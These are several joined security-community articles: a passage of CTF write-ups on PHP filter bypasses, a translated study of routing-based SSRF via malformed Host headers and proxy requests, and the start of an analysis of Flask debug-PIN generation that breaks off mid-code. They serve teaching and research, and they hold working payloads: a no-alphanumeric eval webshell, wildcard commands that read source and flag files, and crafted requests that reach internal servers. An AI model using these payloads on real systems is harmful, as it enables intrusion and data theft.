fun，就不能继续往下面执行到file_get_contents('flag.php')了，但是我们发送get参数的时候又必须要发送，因此我们就用到刚才的知识点，我们可以用A.A或者是A+A去传参去绕过。
下面的代码就是常规的数字绕过了，但这里也用到了一个trick，就是无论你的数字多大，对于数组而言总是比数组小。
利用数组去绕过$str<9999999999的特性，下面一个判断是强制转化为字符串在与数字比较的判断，这就是平常操作很多的弱类型了，直接让参数等于admin就可以了，因为“admin”==
0 ，结果是true，直接等于0绕过即可，所以这题的payload
`http://101.71.29.5:10007/?A+A[]=admin`
## 极限利用
> 安恒九月赛 babybypass
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
根据代码要求：
1. 长度不能大于35
2. 不能包含大小写字母，数字，下划线和$符号
在linux系统中，是支持正则的，某些你忘记某个字符情况下，你可以使用? * %等字符来替代，当然这里想要执行命令，需要极限的利用这个方法，经过测试：
`???/??? => /bin/cat`
PHP开启短标签即`short_open_tag=on`时，可以使用`<?=$_?>`输出变量
于是读源码：
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
长度超出上限，使用 _通配：
`$_=`/???/???%20/???/???/????/_`;?><?=$_?>`
正则过滤了$和_,改进为：
`?><?=`/???/???%20/???/???/????/*`?>`
可以读到：
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
直接读flag文件
`?><?='/???/???%20/????';?>`
另外类似的一道题
> 道格bypass
<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
相关文章：
<https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html>
<https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html>
$￥="`{{{"^"?<>/" // _GET
利用`${}`中的代码会被执行的特点
${$￥}[￥](${$￥}[￥￥]);
传参
`&￥=Flag`
最终payload：
?code=$￥="`{{{"^"?<>/";${$￥}[￥](${$￥}[￥￥]);&￥=Flag
## is_numeric绕过
> 极客大挑战
题目源码：
<?php
if (isset($_GET['p1'])){
if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
echo "111";
if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "flag{xxxxx}";
break;
default :
echo "2333333";
break;
}
}
}
}
}
?>
第一个常见的>999999999，用指数1e9即可绕过
echo 1e9; //1000000000
第二个函数`is_numeric()`判断是否为数字，因为PHP的弱类型，将数字后面加上空格或者任意一个字符即可绕过。
<?php
$a = '1';
$b = '1a';
$c = '1 ';
var_dump(is_numeric($a));//true
var_dump(is_numeric($b));//false
var_dump(is_numeric($c));//false
?>
最终payload：
`?p1=1e9&p2=2%20` | 社区文章 |
现代网站为了提高性能，获取数据并提供更多的服务，通常采取透明系统（译者注:
透明系统是指程序的输入输出可知）镜像来供用户访问。这种几乎不可见的攻击面已经被人们过于的忽略了。
在这篇文章中，我会向大家展示如何使用畸形请求和迷惑的请求头去欺骗系统暴露它们自己，同时打开通往受害者网络的大门。同时我将分享如何把这些技术与bash组合去突破防御部门的网络，并在漏洞悬赏中获取了超过3万美元的奖励以及意外的渗透了自己的ISP（因特网服务供应商）。
当论及到损害程度的话，我也会展示几个系统从隐藏到被揭露的状态，这不仅包括对英国最大的ISP的隐蔽请求的窃听，还有相当可疑的哥伦比亚ISP，令人困惑的Tor后台，以及一个能够将反射型XSS升级为SSRF的系统。你也可以了解到一些策略，用于屏蔽使用了exp链和缓存机制的盲打SSRF。最后，为了推动这些系统发展，我发布了一款Collaborator
Everwhere—— 一个开源burp插件，通过选择最好的技术来增加你的网站流量，从而获得更多的来自合作网站的客户。
这篇文章也可以打印成[白皮书](https://portswigger.net/knowledgebase/papers/CrackingTheLens-whitepaper.pdf)。与此对应的BlackHat USA演讲视频可能会在9月份公布。
# 介绍
无论是ShellShock，StageFright还是ImageTragick，在被忽视的攻击面中发现一个严重的漏洞，其背后常常隐藏着许多类似的问题。这是由于安全测试人员的关注点不在重大的攻击面中的“柔软”部分了。在本文中，我将展示反向代理，负载平衡器和后端分析系统所带来的丰富的攻击面，尽管这被过度忽视了多年。我将通过一种简单的方法来高效地对这些系统进行大规模的审计，然后选择所发现的关键漏洞中的一部分进行展示。
这次，我会发布两个工具。 Collaborator Everywhere是一个Burp
Suite插件，可以自动将一些危害低的攻击载荷注入你的Web流量来揭露后端系统。它可以通过BApp商店安装，也可以通过<https://github.com/PortSwigger/collaborator-everywhere来源安装。渲染引擎Hackability>
Probe是一个分析连接客户端的攻击面的网页，可从<https://github.com/PortSwigger/hackability下载，或直接在http://portswigger-labs.net/hackability/下载>
# 方法论
### 善于监听
这一系列研究都需要目标系统被是成不可见的。过于明显的负载均衡在设计上就是失败的，而对于后端分析系统来说用户对其存在一无所知，毫无疑问这非常好。因此，我们不能依靠分析响应内容来可靠地识别这些系统中的漏洞。相反，我们应该发送攻击载荷使这些系统与我们联系，并从生成的DNS查找和HTTP请求中了解情况。本文提出的所有调查结果都是[pingback](https://zh.wikipedia.org/wiki/Pingback)开始的;如果没有这个开始，这些漏洞和系统都不会被发现。在这个过程我使用了Burp
Collaborator记录这些请求，但你也可以同时托管自己的日志记录DNS服务器，或者需使用[Canarytokens](https://canarytokens.org/)来进行简单的探测。
### 研究线
一开始我使用简单的Burp匹配/替换奖硬编码的pingback攻击载荷注入到所有浏览器流量中。这种方法失败了，因为攻击载荷引起了太多的pingback，这导致了无法将pingback与请求匹配起来以及不知道是哪个网站触发的pingback。很快就看出有些攻击载荷会引起一些延迟（三分钟、几小时、甚至每24小时），然后pingback才返回。
为了帮助有效地区分pingback，我写了Collaborator
Everywhere，一个简单的Burp扩展，将包含唯一标识符的攻击载荷注入到所有代理的流量中，并让它们自动将pingback与相应的攻击相关联。比如说，下面这张屏幕截图显示了Collaborator
Everywhere已经识别出了在我访问Netfix网站后四个小时，Netflix访问了Referer头中指定的URL，并伪装是在x86
CPU上运行的iPhone。
### 扩大规模
对于专注的手动审计来说，Collaborator
Everywhere非常高效，本文中提及的漏洞有大概一半是通过它来发现的。然而，在这次研究中我发现了雅虎服务器的一个漏洞，该漏洞的通过扫描发现的概率只有30%。这个现象的根本原因是雅虎通过三台不同的前置服务器使用了DNS循环负载均衡来路由请求，这三台服务器只有一台是存在漏洞的。对于侧重后端应用程序的安全审计来说，这种奇怪的场景很少，但是这种情况可以作为渗透负载均衡的新奇淫技巧。为了确保没有存在漏洞的服务器不被检测到，有必要在目标基础设备的每个部分进行系统识别和直接攻击尝试。
为了按上面说的做，最开始我选择了[Masscan](https://github.com/robertdavidgraham/masscan)和Burp
Collaborator，但最后用[Zmap/ZGrab](https://github.com/zmap/zgrab)代替了Masscan，因为它支持HTTP1.1和HTTPS。为了将pingback与目标相关联，我将目标主机名和每个payload进行了简单的相加，如果在example.com存在漏洞那么会导致DNS查找example.com.collaboratorid.burpcollaborator.net。这些目标域名和IP地址都是来自公开或者私有的漏洞悬赏中可测试的域名名单，接着我将这些域名和IP映射到[Rapid7的Project
Sonar Forward
DNS数据库](https://scans.io/study/sonar.fdns_v2)中。通过这个技术，我确定了几百万个IP地址，其中大约50000台主机监听着80/443端口。最初我试着使用反向DNS记录，但我发现了许多服务器伪装成google的基础设施，而且它们并对突如其来的安全审计表示了不欢迎。
于是我向成千上万的服务器发送了攻击载荷，如果这些载荷根本没有击中存在漏洞的代码路径，那效果甚微。为了最大化覆盖率，每个IP地址我用了5个主机名，同时使用HTTP和HTTPS，并尝试使用了`X-Forwarded-Proto:HTTPS`和`Max-Forwards`去触发边缘情况。同时为了防止中间服务器破坏我的攻击载荷，我还发送了`Cache-Control:no-transform`
# 错误路由请求
反向代理会对收到的请求进行轮询，并转到适当的内部服务器。这些服务器通常处于一个特殊的网络位置，能够接受公网的请求同时也可以访问公司的DMZ区域，但这并不是整个内网。使用恰当的攻击载荷，可以操纵一些反向代理导致错误路由请求，这些请求的目的地是攻击者选择的。这些错误的请求相当于一道无限制访问目标内网的大门，也可以看成是SSRF的强大变体。下面是这种攻击的简单流程图：
请注意，这种攻击通常涉及高度畸形的请求，可能会破坏[诸如ZAP的工具](https://github.com/zaproxy/zaproxy/issues/1318)，并可能无意中利用了公司或ISP的中间网关。对于工具我建议使用Burp
Suite，mitmproxy和Ncat / OpenSSL。
# 不正确的host字段
触发回调函数的最简单方法是发送不正确的HTTP主机头：
GET / HTTP/1.1
Host: uniqid.burpcollaborator.net
Connection: close
虽然这项技术在一些圈子里已经存在多年了，但它仍没令人满意。通过这个技术，我成功的渗透了27个DoD服务器，我的ISP、一个哥伦比亚ISP（通过DNS投毒将其暴露出来），还有`http://ats-vm.lorax.bf1.yahoo.com`的服务器。作为展示这个漏洞严重程度的例子，我们来来看看在`ats-vm.lorax.bf1.yahoo.com`发现的内部服务器。
初略看一眼，并不能知道服务器在运行什么软件：
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:32:50 GMT
Transfer-Encoding: chunked
Connection: close
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
接着不到一分钟，我就准确的知道了服务器在运行什么软件并且怎么和它通讯，这多亏了助人为乐的`HELP`命令：
HELP / HTTP/1.1
Host: XX.X.XXX.XX:8082
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:33:59 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
Traffic Server Overseer Port
commands:
get <variable-list>
set <variable-name> = "<value>"
help
exit
example:
Ok
get proxy.node.cache.contents.bytes_free
proxy.node.cache.contents.bytes_free = "56616048"
Ok
Variable lists are conf/yts/stats records, separated by commas
Ok
Unknown Command
Ok
Unknown Command
Ok
Unknown Command
Ok
大量的`Unknown
Command`是因为服务器将请求的每一行理解成一个命令了。我猜测服务器那的解释器正使用一个类换行符终止协议，这会导致经典的SSRF的exp很难构造。幸运的是，基于路由的SSRF更灵活，我能够构造一个POST风格内容（包含一条命令）的GET请求：
GET / HTTP/1.1
Host: XX.X.XXX.XX:8082
Content-Length: 34
GET proxy.config.alarm_email
HTTP/1.1 200 Connection Established
Date: Tue, 07 Feb 2017 16:57:02 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Ok
/ HTTP/1.1 is unavailable
Ok
Unknown Command
Ok
proxy.config.alarm_email = "[email protected]"
通过使用SET命令，我可以对Yahoo的负载平衡器池进行大范围的配置更改，包括[启用SOCKS代理](https://docs.trafficserver.apache.org/en/latest/admin-guide/files/records.config.en.html#socks-processor)和授予我的IP地址权限，[直接将项目推送到其缓存中](https://docs.trafficserver.apache.org/en/latest/admin-guide/files/records.config.en.html#proxy-config-http-push-method-enabled)。接着我向雅虎及时汇报了这个问题，他们为我的努力付出了15,000美元的奖励。几个星期后，ZGrab管道发现另一台具有相同漏洞的服务器，获得了额外的5,000美元。
#
调查对象-[BT](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwikoabipr_VAhXIEbwKHeA5AZIQFggoMAA&url=http%3A%2F%2Fhome.bt.com%2F&usg=AFQjCNFKOrWqP1zPRTU20TOcEeYkSlL-xw)
在尝试错误的主机技术时，因为有些攻击载荷发送到完全不相关的公司（其中包括cloud.mail.ru），我发现了它们的pingbacks都来自一小块IP地址。最初我假设这些公司必须共同使用相同的云WAF解决方案，接着我发现可以欺骗这些服务器将我的请求错误的路由到到其内部管理界面。不过事情并不是一直顺利的，这个IP池的反向DNS解析是bn-proxyXX.ealing.ukcore.bt.net -BT是英国电信公司的ISP。从英国肯特发送一个攻击载荷到俄罗斯，获取的`pingback`是不可预料的。我决定使用Burp
Repeater进行调试，调试中我发现响应在50ms内回来，这快得让人质疑，毕竟这是从英国到俄罗斯的请求，然后到爱尔兰的数据中心，最后从俄罗斯回到英国。于是我使用Traceroute，接着80端口的TCP跟踪信息揭示了事实：
我尝试与cloud.mail.ru建立TCP链接，但却被自己的ISP终止了。请注意发送到443端口的流量并没有受到保护，这就暗示了正在执行篡改操作的实体并没有控制mail.ru的TLS证书，甚至可能不需要mail.ru的授权和资料就能进行流量拦截。因为我在家里和办公室都可以复现这个场景，所以GHCQ（英国的政府网站）决定选择我来对这些奇怪数据包进行深度检测，接着是我意外的利用了他们的系统。为了排除这种偶然的可能性，我确认了我的朋友能够复现这个场景，但遗留的问题是这个系统是用来做什么的？
为了揭开这个系统的真实面纱，我使用了`Masscan`在整个IPv4的空间里去ping
80端口，其中所有ping的TTL都是10，这是一次有效的全网追踪。在筛选掉缓存和自我托管的网站后，我拿到了一份完整的目标IP地址清单。通过对清单抽样发现这个系统主要是用来对受版权保护的内容进行访问控制限制。黑名单IP的流量会被重路由到代理池，这样他们就可以检查HTTP的host头，并且以‘我确信我们正直的英国读者是悉知的’消息提醒你被屏蔽了。
GET / HTTP/1.1
Host: www.icefilms.info
HTTP/1.1 200 OK
...
<p>Access to the websites listed on this page has been blocked pursuant to orders of the high court.</p>
这个屏蔽可以被绕过，甚至不需要修改host头。但具体怎么操作，这就留给读者来完成了。
整个过程有一些注意的结果。由于像谷歌这类的虚拟主机、云主机网站早就停止采用黑名单的策略，这就意味着从客户或BT用户到他们那的流量都是走的代理。站在被列入黑名单的服务器角度来想的话，可以得到结论：所有的BT用户共享了一个微小的IP地址池。这就导致了BT代理IP地址滥用黑名单，许多网站无法访问，影响所有的BT用户。这个时候，如果我使用之前提到的admin访问漏洞那就能够控制代理的管理界面了，甚至可能重新配置代理向流向BT用户的流量注入恶意内容。最终，这个漏洞的亮点就这么轻易的被忽略了。这么多年我和其他的英国渗透朋友一直都在通过存在问题的代理进行黑客行为，但却没注意到它的存在。
最后的最后，我向bt的员工报告了能够访问内网控制面板的问题，他答复一定会及时修复。他们还向我透露了这个拦截系统是作为CleanFeed项目的一部分，缘由是政府想要拦截人们对虐待孩子图像的访问。但是，这个系统却不可避免的重新设计成阻止访问版权滥用。
#
调查对象-[METROTEL](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwip64vIpr_VAhWCbrwKHaymCH0QFggoMAA&url=http%3A%2F%2Fwww.metrotel.com.ar%2F&usg=AFQjCNEXSVk7i8j_J8UnUhUUQrm743bbzg)
后来的日子里，我见证了类似的行为发生在哥伦比亚ISP（METROTEL）。Rapid7的Sonar项目使用了一个公共的METROTEL
DNS服务器，该服务器选择性的给特定域名进行DNS污染导致流量重定向[DPI](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjbpLPNp7_VAhXGXLwKHU7LBGgQFggoMAA&url=https%3A%2F%2Fdpi.wi.gov%2F&usg=AFQjCNEbgaOtIJxuzYoMQjm5jIFs8w4oZg)代理服务器。为了通过HTTPS流量而不导致证书错误，他们从服务器名称指示器（SNI）字段中嗅探了远程主机。于是我通知了Rapid7去识别行为怪异的DNS服务器，这意味着我能够为其提供Alexa排名100w的域名列表，并从中识别出目标主机。但那台服务器似乎是针对不同的图像和视频主机的，以及一些不知名的社交网络。于是我尝试访问这些网站，结果被重定向到了`http://internetsano.metrotel.net.co/`，上面提示着该网站因为含有虐待儿童图片被屏蔽。
这个系统和BT的情况一样，最初的目的是令人值得赞扬的。但是有证据显示它被利用了，除了以图像服务的网站为目标，这台DNS服务器还会对特定的新闻网站（包括`bbc.co.uk`）进行查找污染。这可能是为了屏蔽或者篡改某些新闻网站，尽管我还没确定哪些文章被作为了目标。
# 处理输入
假如你真的把这一些列小事故当成偶然的一个错误，那就看看我接下来碰到的七台服务器池。他们收到请求是这样的：
GET / HTTP/1.1
Host: burpcollaborator.net
Connection: close
他们对外发送了一个请求。<the_supplied_domain>在路径中出现了两次：</the_supplied_domain>
GET /burpcollaborator.net/burpcollaborator.net HTTP/1.1
Host: outage.burpcollaborator.net
Via: o2-b.ycpi.tp2.yahoo.net
这种行为是无法预测的，所以唯一合理的反应是确保你的服务器可以通过使用泛解析、wildcard
SSL和多个协议来处理客户端的异常行为。这种特殊的行为看起来是无法利用的，因为内部服务器不可能在`/burpcollaborator.net/burpcollaborator.net`上托管敏感内容的。幸运的是，如果你注册了带外的域名（比如outage.yourdomain.com）并且将其解析到内部IP地址，这就可能利用规范的路径将请求发送到内部服务器的webroot:
GET / HTTP/1.1
Host: ../?x=.vcap.me
Connection: close
这个请求会导致下面这个请求：
GET /vcap.me/../?=x=.vcap.me
Host: outage.vcap.me
Via: o2-b.ycpi.tp2.yahoo.net
在对路径正常化后，url会变成`http://outage.vcap.me/?x=whatever`。vcap.me是一个方便的公共域名，其中所有的子域名都是解析到`127.0.0.1`。因此这个请求就相当于访问<http://127.0.0.1/。我就是通过这个获得了雅虎的5000刀奖励。>
# 主机覆盖
另外一个类似的技术是我之前用过的，当时是通过密码污染来重置邮件，这在美国国防部的某台服务器上生效了。这是因为有些服务器是对host头进行了白名单设置，但却忘记了请求行是可以指定优先级的。
GET http://internal-website.mil/ HTTP/1.1
Host: xxxxxxx.mil
Connection: close
将存在漏洞的前端系统作为大门，我获得了访问很多不同有意思的网站的权限，其中包括一个攻击面的库和公共论坛提到的文件传输服务。
# 奇怪的请求
有些目标是藏在Incapsula的以云为基础的web应用waf后面。Incapsula依赖于检测host头来判断请求该转发至哪台服务器，所以之前谈论的攻击在这不起作用。然而，只要是Incapsula所指定的端口，它都可以对host头进行解析，这意味着它会把下面的请求路由到`incapsula-client.net`：
GET / HTTP/1.1
Host: incapsula-client.net:[email protected]
Connection: close
Incapsula-client.net的后台会把这个输入变成链接`http://incapsula-client.net:[email protected]/`，这会导致后台会尝试使用`incapsula-client.net`用户名和密码`80`来授权`burp-collaborator.net`。这除了暴露了新的有意思的攻击面，同时也会揭露服务器的位置，这促使我绕过了Incapsula的保护直到后端系统。
# 出乎意料
坏掉的请求路由漏洞并不总是由于配置错误引起。比如说在New Relic基础设备上的这段代码就导致了严重的漏洞：
Url backendURL = "http://public-backend/";
String uri = ctx.getRequest().getRawUri();
URI proxyUri;
try {
proxyUri = new URIBuilder(uri)
.setHost(backendURL.getHost())
.setPort(backendURL.getPort())
.setScheme(backendURL.getScheme())
.build();
} catch (URISyntaxException e) {
Util.sendError(ctx, 400, INVALID_REQUEST_URL);
return;
}
这段代码看起来似乎没有错误--首先接受用户输入的url，然后用硬编码在后端把域名换成了IP地址，不幸的是Apache HttpComponents
服务端库不能要求路径以`/`开头，这意味着如果我发送了下面这个请求：
GET @burp-collaborator.net/ HTTP/1.1
Host: newrelic.com
Connection: close
上述代码在处理这个时会把该请求重写成`http://[email protected]/`接着将其路由到`burp-collaborator.net`。和之前一样，这个漏洞让我有了访问大量内部员工信息（包括未授权的管理界面和一个神秘的笑话）的权限。
不幸的是，New Relic没有提供现金奖励，但他们信守承诺，在一个假日迅速的修复了漏洞，并向Apache
HttpComponents报告了存在问题的底层库，随后[这个问题被修复了](https://issues.apache.org/jira/browse/HTTPCLIENT-1803)，所以其他正在使用Apache
HttpComponents的朋友们不用担心了。这并不是第一次在受众面如此广的平台上出现准确的攻击载荷—— [2011年的Apache
mod_rewrite](https://www.contextis.com/resources/blog/server-technologies-reverse-proxy-bypass/)。很明显这并不是众所周知的常识，除了New
Relic受影响，我还发现这个问题同样存在于17台雅虎服务器上，所以我又赚了8000刀。
# 隧道
正如我们所看的，经常被忽视的功能（使用@构建一个误导性的URL）是非常有效的。但并不是所有的系统都支持这种url，所以我将之前的payload进行了改造：
GET xyz.burpcollaborator.net:80/bar HTTP/1.1
Host: demo.globaleaks.org
Connection: close
这条payload后的原理是存在问题的主机可能会把请求路由到`xyz.burpcollaborator.net`公共后端系统，这条记录会被我们的泛解析DNS记录。实际上我收到的是一串神秘的大小写混合的DNS查找记录，并且是来自不同的IP地址：
xYZ.BurpcoLLABoRaTOR.neT. from 89.234.157.254
Xyz.burPColLABorAToR.nET. from 62.210.18.16
xYz.burpColLaBorATOR.net. from 91.224.149.254
GlobalLeaks（公司名）使用了Tor2Web将收到的请求转发Tor隐藏的服务接口从而隐藏自己的物理位置。Tor使用了一种模糊安全机制来提高DNS的安全性，原理是通过随机化请求的大小写，这种机制导致了Burp
Collaborator服务器拒绝响应，所以触发了大量的dns查找。
这个独特的漏洞非常不好量化。因为所有的请求都是通过Tor，这就不能滥用于访问任何内网服务。这就说，这是一种非常强大的方式，如果用于掩盖对第三方的攻击，特别是因为GlobalLeaks是一个举报平台，它不可能保留任何日志所以最终可能会乖乖替你背锅。此外，通过Tor使web服务器连接到竞争对手的网站的这种能力会暴露出大量的攻击面。
# 目标辅助系统
我们已经看到反向代理的显著多样性和使服务器错误路由请求技术的必要性，但迄今为止最终的效果都差不多。在这节中，我们将看到，在以后端分析和缓存之类的辅助系统为目标时，找出真正有用的漏洞通常比首先引发回调函数更困难。
### 收集信息
不像以路由为基的攻击，这些攻击技术通常并不影响网站的正常功能。Collaborator Everywhere通过注入大量不同的攻击到每个请求中来利用这一点。
GET / HTTP/1.1
Host: store.starbucks.ca
X-Forwarded-For: a.burpcollaborator.net
True-Client-IP: b.burpcollaborator.net
Referer: http://c.burpcollaborator.net/
X-WAP-Profile: http://d.burpcollaborator.net/wap.xml
Connection: close
##### X-Forwarded-For
易于触发但难以利用的回调技术的一个示例是X-Forwarded-For和True-Client-IP
HTTP头，渗透人员通常利用它们来欺骗IP地址或主机名。信任这些头的应用会进行DNS查找去解析主机名到对应的IP地址。这就给了我们一个很友好的提示，表明他们容易受到IP欺骗攻击，但除非你有便携的DNS库内存损坏漏洞，否则不太好利用回调来攻击。
##### Referer
与前面相似，web分析系统会从来访者的Referer头中获取所有的未识别URL。一些分析系统为了SEO目的甚至会去尝试爬取referer中url的整个站点。这个动作可能是有用的，所以值得放一个允许的robots.txt文件来鼓励这种行为。从另外一个角度来说这很有可能是一个blind
SSRF漏洞，因为用户无法查看分析系统请求的结果，且这发生的时间可能是在用户请求后几分钟或几小时，这会加大利用难度。
##### 重复的参数
因为Incapsula会在请求字符串中获取指定的url两次。但不幸的是他们没有漏洞悬赏机制，所以我不能调查这是不是可利用的。
##### X-Wap-Profile
X-Wap-Profile是一个古老的http头，该头指定了设备的用户代理配置文件URL，这个文件是一个定义了设备的功能（如屏幕大小，蓝牙支持，支持的协议和字符集等）的XML文档。
GET / HTTP/1.1
Host: facebook.com
X-Wap-Profile: http://nds1.nds.nokia.com/uaprof/N6230r200.xml
Connection: close
按套路出牌的程序会从请求头中提取url，然后解析到指定的XML文档，这样便于它们调整提供给客户的内容。将这两个高风险功能（获取不受信任的URL和解析不受信任的URL）与其他模糊和不容易发现的功能结合，似乎形成了可以利用的渠道。但不幸的是，这个请求头没有受到广泛支持。Facebook是我发现对此进行了漏洞悬赏的唯一一家公司，并且他们在对待XML解析上相当谨慎。他们在请求发出后的26个小时才获取指定的XML文档，这使得全面迭代测试非常不切实际。
# 远程客户端漏洞利用
上面这些例子中，如果直接进行SSRF风格的利用是非常困难的，因为我们无法从应用获得反馈。与此对应是利用能够运行的RCE（比如本月的Struts2）向内网进行喷洒似探测，这种方法有点像lcamtuf在[《Against
the System：rise of the
Robots》](http://phrack.org/issues/57/10.html)的web爬虫。在娱乐方面，这种技术没什么意思，所以我将焦点放在了与我们相关的客户端上。和反向代理一样，客户端的审计比较差，容易被现成的工具攻击。只需通过和服务器建立一个HTTPS连接，我就能够轻松的从服务器上窃取内存，并且可以在系统上执行古老的客户端心脏滴血攻击。像PhantomJS这种无界面浏览器通常是过时（跟不上最新的安全机制），缺少大量的重要安全补丁。基于Windows的客户端通常会主动将域名凭证发送到运行着SpiderLabs
[Responder](https://github.com/SpiderLabs/Responder)的服务器上，lcmatuf的[p0f](http://lcamtuf.coredump.cx/p0f3/)能够发现隐藏在假代理后的客户端真正运行的东西。
虽然应用程序会过滤URL的输入，但许多库对重定向都是透明处理的，所以可能会导致在重定向url上有不同的行为。例如，Tublr的URL预览功能只支持HTTP协议，但却乐于重定向到FTP服务。这些技术未来会有一些研究来完善，因为Orange
Tsai正专注于编程语言URL解析和请求库。
有些客户端所做的工作不仅是下载页面-实际还有渲染和执行javascript。这样的话会使攻击面很大，没办法手动去做映射，所以我的同事Gareth
Heyes创建了一个名为“Rendering Engine Hackability
Probe”的工具，用于完整的指纹识别客户端的功能。除了识别自定义浏览器中的常见故障（如忽略执行SOP），它还能标记了不寻常的JavaScript属性。
如图所示，我们可以知道这款工具能够检测未识别的Javascript属性`parity`和`System`，这两个属性是Parity浏览器注入进去的，目的是让网站初始化[Etherenum](https://en.wikipedia.org/wiki/Ethereum)。未识别的参数可以分为有点意思的到非常有用的。`parity`属性可以用来获取用户钱包的公钥（全局唯一的标志）和得知钱包余额。JXBrowser允许开发者插入JavaScript/Java桥接器，去年我们发现可以利用这一点来[转义渲染](http://blog.portswigger.net/2016/12/rce-in-jxbrowser-javascriptjava-bridge.html)然后进行任意代码执行。如果启用存在配置问题的JavaScript客户端，这可能会连接到file:///URL，这会导致本地文件读取（通过存储在环境变量中的恶意HTML代码）然后在`/proc/self/environ`中展示——这其实属于跨协议的盲打XSS漏洞。除了可视化显示结果外，每个功能也能触发服务端请求，所以即使你看不到渲染结果，这也很有用。这个工具的基本测试在较为苛刻的客户端上（即使不能执行JavaScript）也能正常工作。
# 优先缓存
在寻找路由利用漏洞的时候，我注意到了某个军事服务器有一些奇怪的行为。它发出了这样的请求：
GET / HTTP/1.1
Host: burpcollaborator.net
这个请求从服务器获得了正常的响应，接着几秒后collaborator收到了几个请求。
GET /jquery.js HTTP/1.1
GET /abrams.jpg HTTP/1.1
很明显，这是一次扫描响应，目的是资源引入和资源获取。当它识别出`<img
src="/abrams.jpg"/>`时，它会使用我提供的host头去把相对url扩展成`http://burpcollaborator.net/abrams.jpg`并获取该文件，以便作缓存。通过从反向代理那获取缓存响应，我证实了刚才那一理论。这是一个相当有意思的攻击，我在后端应用程序中发现了XSS，接着通过刚才聊的技术在响应中对内部服务器上进行了一次假图片的引用。
POST /xss.cgi HTTP/1.1
Content-Length: 103
Connection: close
xss=<img src="http://internal-server.mil/index.php/fake.jpg"/>
缓存反向代理服务器识别出了这个资源，然后进行资源引入和获取这个`image`，并将它存储在我能轻易获取的地方：
GET /index.php/fake.jpg
Host: internal-server.mil
Connection: close
下面的流程图展示了攻击顺序：
请注意，在绝对url中使用XSS意味着即使应用程序拒绝了请求（包含不被识别的host头），这种攻击也会起作用。
# 结论
最近几年，漏洞悬赏的迅速增加促进了新的攻击类型研究。现在在15分钟内对成千上万点服务器对一个新的攻击概念进行评估了。通过这个技术，我已经向各位展示了即使再小的反响代理问题也可能引发重大致命的漏洞，在这整个过程中国年我获得了33000美元。为了实现深度防御，反向代理被划入防火墙保护范畴内，并接入DMZ，从公网中独立出来。
我还展示了如何揭开后端系统并详细讲解了他们的操作。相对于前端来说，后端不不容易发生致命的问题，但他们暴露了丰富的攻击面，这面尚在研究中。最后，我确保Burp
Suite的Scanner功能可以探测到路由漏洞，并发布了Collaborator
Everywhere和Hackability作为开源工具来推动进一步的研究。
享受这一切吧。-@albinowax。 | 社区文章 |
# 前言
之前在国赛决赛的时候看到p0师傅提到的关于Flask
debug模式下，配合任意文件读取，造成的任意代码执行。那时候就很感兴趣，无奈后来事情有点多，一直没来得及研究。今天把这个终于把这个问题复现了一下
主要就是利用Flask在debug模式下会生成一个Debugger PIN
kingkk@ubuntu:~/Code/flask$ python3 app.py
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger pin code: 169-851-075
通过这个pin码，我们可以在报错页面执行任意python代码
问题就出在了这个pin码的生成机制上，在同一台机子上多次启动同一个Flask应用时，会发现这个pin码是固定的。是由一些固定的值生成的，不如直接来看看Flask源码中是怎么写的
# 代码逻辑分析
测试环境为：
* Ubuntu 16.04
* python 3.5
* Flask 0.10.1
一个简单的hello world程序 app.py
# -*- coding: utf-8 -*- from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return 'hello world!'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
用pycharm在app.run下好断点，开启debug模式
由于代码写的还是相当官方的，很容易就能找到生成pin码的部分，大致跟踪流程如下
app.py
python3.5/site-packages/flask/app.py 772行左右 run_simple(host, port, self, **options)
python3.5/site-packages/werkzeug/serving.py 751行左右 application = DebuggedApplication(application, use_evalex)
python3.5/site-packages/werkzeug/debug/__init__.py
主要就在这个`debug/__init__.py`中，先来看一下`_get_pin`函数
def _get_pin(self):
if not hasattr(self, '_pin'):
self._pin, self._pin_cookie = get_pin_and_cookie_name(self.app)
return self._pin
跟进一下get_pin_and_cookie_name函数
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
